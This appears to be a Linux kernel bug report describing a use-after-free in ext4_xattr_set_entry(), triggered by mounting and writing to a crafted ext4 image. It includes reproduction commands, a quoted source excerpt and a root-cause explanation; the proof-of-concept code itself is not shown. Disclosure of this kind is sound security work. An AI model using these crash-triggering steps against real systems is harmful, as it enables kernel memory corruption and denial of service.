The (compressed) crafted image which causes crash

- Overview
use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image

- Reproduce (ext4-dev branch)
# mkdir mnt
# mount -t 204.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)

- Reason 
https://elixir.bootlin.com/linux/latest/source/fs/ext4/xattr.c#L1693
	if (!s->not_found && here->e_value_offs) {
		/* Remove the old value. */
		void *first_val = s->base + min_offs;
		size_t offs = le16_to_cpu(here->e_value_offs);
		void *val = s->base + offs;

		memmove(first_val + old_size, first_val, val - first_val);
		memset(first_val, 0, old_size);
		min_offs += old_size;
`s` is a dangling pointer, where s->base is some uncontrolled address, later memmove() and memset() corrupt the kernel data and take whole system down.

This bug is not affected by patch https://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4.git/commit/?h=dev&id=8a2b307c21d4b290e3cbe33f768f194286d07c23. 
And from the kernel log, I am not sure whether this bug has the same root cause of https://bugzilla.kernel.org/show_bug.cgi?id=199977 I reported.
